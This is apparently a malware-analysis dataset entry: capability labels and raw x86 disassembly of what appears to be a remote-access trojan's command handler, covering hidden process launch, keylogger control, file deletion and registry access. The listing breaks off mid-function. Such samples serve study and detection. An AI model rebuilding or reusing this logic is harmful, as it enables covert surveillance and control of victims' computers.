Function at 0x490f64
Capabilities:
Create process on windows
Hide graphical window
Log keystrokes
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x1142
push 0
push 0
dec ecx
jne 0x490f6c
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x496780
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4966fe
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x8354]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8354]
mov edx, 0x496798
call fcn.00404f38
jne 0x49100a
lea ecx, [ebp - 0x8358]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8358]
lea edx, [ebp - 0x30]
call fcn.00471380
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496798
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x835c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x835c]
mov edx, 0x4967a4
call fcn.00404f38
jne 0x49139a
xor eax, eax
push ebp
push 0x491383
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
cmp eax, 3
jl 0x491310
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4912f9
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x8360]
push eax
lea ecx, [ebp - 0x8364]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8364]
call fcn.00404dec
push eax
lea ecx, [ebp - 0x8368]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8368]
mov ecx, 1
pop edx
call fcn.0040504c
mov eax, dword [ebp - 0x8360]
mov edx, 0x4967b0
call fcn.00404f38
jne 0x4911f8
lea ecx, [ebp - 0x836c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x836c]
call fcn.00409678
test al, al
je 0x4912ef
mov eax, dword [ebp - 0x20]
call fcn.00404dec
mov edx, eax
lea eax, [ebp - 0x20]
mov ecx, 1
call fcn.0040508c
lea edx, [ebp - 0x8370]
mov eax, dword [ebp - 0x20]
call fcn.004709e0
mov ecx, dword [ebp - 0x8370]
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00404e38
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x1c]
mov ecx, 0x4967b0
mov edx, dword [ebp - 0x18]
call fcn.00404e38
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x4911dc
inc dword [ebp - 0xc]
lea edx, [ebp - 0x8374]
mov eax, dword [ebp - 0x18]
call fcn.00470a90
push dword [ebp - 0x8374]
lea ecx, [ebp - 0x8378]
mov dx, 5
mov ax, 0xeb
call fcn.0048e25c
push dword [ebp - 0x8378]
lea edx, [ebp - 0x837c]
mov eax, dword [ebp - 0xc]
call fcn.004090d8
push dword [ebp - 0x837c]
push 0x4967bc
lea edx, [ebp - 0x8380]
mov eax, dword [ebp - 0x18]
call fcn.004709e0
push dword [ebp - 0x8380]
push 0x4967b0
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.00404eac
mov eax, dword [ebp - 0x1c]
call fcn.00409678
test al, al
jne 0x49116d
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
call fcn.004710e8
jmp 0x4912ef
lea ecx, [ebp - 0x8384]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8384]
call fcn.00409668
test al, al
je 0x4912ef
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea edx, [ebp - 0x8388]
mov eax, dword [ebp - 0x20]
call fcn.004709e0
mov edx, dword [ebp - 0x8388]
lea eax, [ebp - 0x1c]
call fcn.00404df4
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00404bc4
jmp 0x4912d8
inc dword [ebp - 0xc]
lea edx, [ebp - 0x838c]
mov eax, dword [ebp - 0x18]
call fcn.00470a90
push dword [ebp - 0x838c]
lea ecx, [ebp - 0x8390]
mov dx, 5
mov ax, 0xf0
call fcn.0048e25c
push dword [ebp - 0x8390]
lea edx, [ebp - 0x8394]
mov eax, dword [ebp - 0xc]
call fcn.004090d8
push dword [ebp - 0x8394]
push 0x4967bc
lea edx, [ebp - 0x8398]
mov eax, dword [ebp - 0x18]
call fcn.004709e0
push dword [ebp - 0x8398]
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00404eac
mov eax, dword [ebp - 0x1c]
call fcn.00409668
test al, al
jne 0x49126e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
call fcn.00470f8c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491303
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jne 0x49105a
lea eax, [ebp - 0x30]
mov edx, 0x4967a4
call fcn.00404bc4
lea eax, [ebp - 0x83a0]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x83a0]
lea ecx, [ebp - 0x839c]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x839c]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x83a4]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x83a4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49138d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x83a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83a8]
mov edx, 0x4967d4
call fcn.00404f38
jne 0x491416
xor eax, eax
push ebp
push 0x4913ff
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a51], 0
je 0x4913e2
mov eax, dword [0x4a6a44]
call fcn.0041c07c
cmp byte [0x4a6a52], 0
je 0x4913f5
mov eax, dword [0x4a6a4c]
call fcn.0041c07c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491409
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x83ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83ac]
mov edx, 0x4967e0
call fcn.00404f38
jne 0x491621
xor eax, eax
push ebp
push 0x49160a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
cmp eax, 2
jl 0x491597
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x491580
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x83b0]
push eax
lea ecx, [ebp - 0x83b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83b4]
call fcn.00404dec
push eax
lea ecx, [ebp - 0x83b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83b8]
mov ecx, 1
pop edx
call fcn.0040504c
mov eax, dword [ebp - 0x83b0]
mov edx, 0x4967b0
call fcn.00404f38
jne 0x491516
lea ecx, [ebp - 0x83bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83bc]
call fcn.00409678
test al, al
je 0x491576
lea ecx, [ebp - 0x83c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c0]
call fcn.00470d6c
jmp 0x491576
lea ecx, [ebp - 0x83c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c4]
call fcn.00409668
test al, al
je 0x491576
lea ecx, [ebp - 0x83c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c8]
xor edx, edx
call fcn.00409784
lea ecx, [ebp - 0x83cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83cc]
call fcn.004098a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49158a
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jne 0x491466
lea eax, [ebp - 0x30]
mov edx, 0x4967a4
call fcn.00404bc4
lea eax, [ebp - 0x83d4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x83d4]
lea ecx, [ebp - 0x83d0]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x83d0]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x83d8]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x83d8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491614
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x83dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83dc]
mov edx, 0x4967ec
call fcn.00404f38
jne 0x491735
xor eax, eax
push ebp
push 0x49171e
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
push ebp
push 0x4916a1
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
call fcn.004098b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4916ab
lea eax, [ebp - 0x30]
mov edx, 0x4967a4
call fcn.00404bc4
lea eax, [ebp - 0x83e4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x83e4]
lea ecx, [ebp - 0x83e0]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x83e0]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x83e8]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x83e8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491728
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x83ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83ec]
mov edx, 0x4967f8
call fcn.00404f38
jne 0x4918b2
xor eax, eax
push ebp
push 0x49189b
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x491810
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x83f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83f4]
lea edx, [ebp - 0x83f0]
call fcn.00470a90
push dword [ebp - 0x83f0]
lea ecx, [ebp - 0x83fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83fc]
lea edx, [ebp - 0x83f8]
call fcn.004709e0
push dword [ebp - 0x83f8]
push 0x496804
lea edx, [ebp - 0x8400]
mov eax, dword [ebp - 0xc]
call fcn.004090d8
push dword [ebp - 0x8400]
push 0x4967bc
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404eac
mov eax, dword [ebp - 0x18]
call fcn.00409678
test al, al
jne 0x49178a
mov eax, dword [ebp - 0x18]
call fcn.00409c30
lea eax, [ebp - 0x30]
mov edx, 0x4967a4
call fcn.00404bc4
lea eax, [ebp - 0x8408]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8408]
lea ecx, [ebp - 0x8404]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8404]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x840c]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x840c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4918a5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8410]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8410]
mov edx, 0x496810
call fcn.00404f38
jne 0x491a76
xor edx, edx
push ebp
push 0x491a5f
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x4919a1
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x8418]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8418]
lea edx, [ebp - 0x8414]
call fcn.00470a90
push dword [ebp - 0x8414]
lea ecx, [ebp - 0x841c]
mov dx, 5
mov ax, 0xf5
call fcn.0048e25c
push dword [ebp - 0x841c]
lea edx, [ebp - 0x8420]
mov eax, dword [ebp - 0xc]
call fcn.004090d8
push dword [ebp - 0x8420]
push 0x4967bc
lea ecx, [ebp - 0x8428]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8428]
lea edx, [ebp - 0x8424]
call fcn.004709e0
push dword [ebp - 0x8424]
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404eac
mov eax, dword [ebp - 0x18]
call fcn.00409668
test al, al
jne 0x491907
xor edx, edx
push ebp
push 0x4919e2
push dword fs:[edx]
mov dword fs:[edx], esp
push 0xffff
mov ecx, dword [ebp - 0x18]
mov dl, 1
mov eax, dword [0x413af8]
call fcn.004182c4
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4919ec
lea eax, [ebp - 0x30]
mov edx, 0x4967a4
call fcn.00404bc4
lea eax, [ebp - 0x8430]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8430]
lea ecx, [ebp - 0x842c]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x842c]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8434]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8434]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491a69
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8438]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8438]
mov edx, 0x49681c
call fcn.00404f38
jne 0x491cd2
xor eax, eax
push ebp
push 0x491cbb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x491bdb
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x843c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x843c]
call fcn.00409244
sub eax, 1
jb 0x491b13
je 0x491b34
dec eax
je 0x491b55
dec eax
je 0x491b76
jmp 0x491b95
push 1
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fec
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491b95
push 0
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fec
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491b95
push 3
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fec
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491b95
push 6
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fec
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
lea ecx, [ebp - 0x8440]
mov dx, 6
mov ax, 0xfa
call fcn.0048e25c
mov eax, dword [ebp - 0x8440]
push eax
lea eax, [ebp - 0x8444]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8444]
lea ecx, [ebp - 0x18]
pop eax
call fcn.0045839c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491c21
lea eax, [ebp - 0x30]
mov edx, 0x4967d4
call fcn.00404bc4
lea eax, [ebp - 0x8454]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8454]
lea ecx, [ebp - 0x8450]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8450]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8458]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8458]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x845c]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x18]
call fcn.00404e38
mov edx, dword [ebp - 0x845c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491cc5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8460]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8460]
mov edx, 0x496828
call fcn.00404f38
jne 0x491d34
xor edx, edx
push ebp
push 0x491d1d
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x489d94]
call fcn.00489e0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491d27
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8464]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8464]
mov edx, 0x496834
call fcn.00404f38
jne 0x491f2b
xor eax, eax
push ebp
push 0x491f14
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov edx, 0x496840
call fcn.00404bc4
lea eax, [ebp - 0x846c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x846c]
lea ecx, [ebp - 0x8468]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8468]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8470]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8470]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8474]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8474]
lea eax, [ebp - 0x184]
call fcn.00402f24
mov eax, dword [0x4a06b4]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x184]
call fcn.004035cc
call fcn.00402894
xor edx, edx
lea eax, [ebp - 0x184]
call fcn.004035f4
call fcn.00402894
lea eax, [ebp - 0x184]
call fcn.0040326c
call fcn.00402894
mov edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov cl, 1
call fcn.00481b60
xor eax, eax
push ebp
push 0x491ebc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
or edx, 0xffffffff
call fcn.00481da4
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x8184]
mov ecx, 0x8000
lea eax, [ebp - 0x184]
call fcn.00403088
call fcn.00402894
push 0
lea edx, [ebp - 0x8184]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [ebp - 0x14]
call fcn.00481820
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
call fcn.00481dcc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491ef0
cmp dword [ebp - 0x14], 0
jne 0x491e4d
lea eax, [ebp - 0x184]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491f1e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8478]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8478]
mov edx, 0x49684c
call fcn.00404f38
jne 0x491fcf
xor eax, eax
push ebp
push 0x491fb8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a51], 0
je 0x491f73
mov eax, dword [0x4a6a44]
call fcn.0041c07c
mov ecx, dword [0x4a6a54]
mov dl, 1
mov eax, dword [0x48d4d8]
call fcn.0048d538
mov dword [0x4a6a44], eax
cmp byte [0x4a6a52], 0
je 0x491f9d
mov eax, dword [0x4a6a4c]
call fcn.0041c07c
mov dl, 1
mov eax, dword [0x48c8b4]
call fcn.0048c91c
mov dword [0x4a6a4c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491fc2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x847c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x847c]
mov edx, 0x496858
call fcn.00404f38
jne 0x49223a
xor eax, eax
push ebp
push 0x4921f3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4138d4]
call fcn.00403d28
mov esi, eax
mov dl, 1
mov eax, dword [0x4138d4]
call fcn.00403d28
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov dl, 1
mov eax, dword [0x46d0b0]
call fcn.0046d314
mov dword [ebp - 0x24], eax
xor eax, eax
push ebp
push 0x4921e2
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8480]
mov dx, 0x11
mov ax, 0x106
call fcn.0048e25c
mov edx, dword [ebp - 0x8480]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x492084
mov edx, 0x80000000
mov eax, dword [ebp - 0x24]
call fcn.0046d3b4
lea ecx, [ebp - 0x8484]
mov dx, 0x11
mov ax, 0x117
call fcn.0048e25c
mov edx, dword [ebp - 0x8484]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x4920b4
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.0046d3b4
lea ecx, [ebp - 0x8488]
mov dx, 0x12
mov ax, 0x128
call fcn.0048e25c
mov edx, dword [ebp - 0x8488]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x4920e4
mov edx, 0x80000002
mov eax, dword [ebp - 0x24]
call fcn.0046d3b4
lea ecx, [ebp - 0x848c]
mov dx, 0xa
mov ax, 0x13a
call fcn.0048e25c
mov edx, dword [ebp - 0x848c]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x492114
mov edx, 0x80000003
mov eax, dword [ebp - 0x24]
call fcn.0046d3b4
lea ecx, [ebp - 0x8490]
mov dx, 0x13
mov ax, 0x144
call fcn.0048e25c
mov edx, dword [ebp - 0x8490]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x492144
mov edx, 0x80000005
mov eax, dword [ebp - 0x24]
call fcn.0046d3b4
lea eax, [ebp - 0x20]
call fcn.00404b2c
lea ecx, [ebp - 0x8494]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8494]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
call fcn.0046d4f8
test al, al
je 0x4921c4
mov edx, esi
mov eax, dword [ebp - 0x24]
call fcn.0046d81c
mov eax, esi
mov edx, dword [eax]
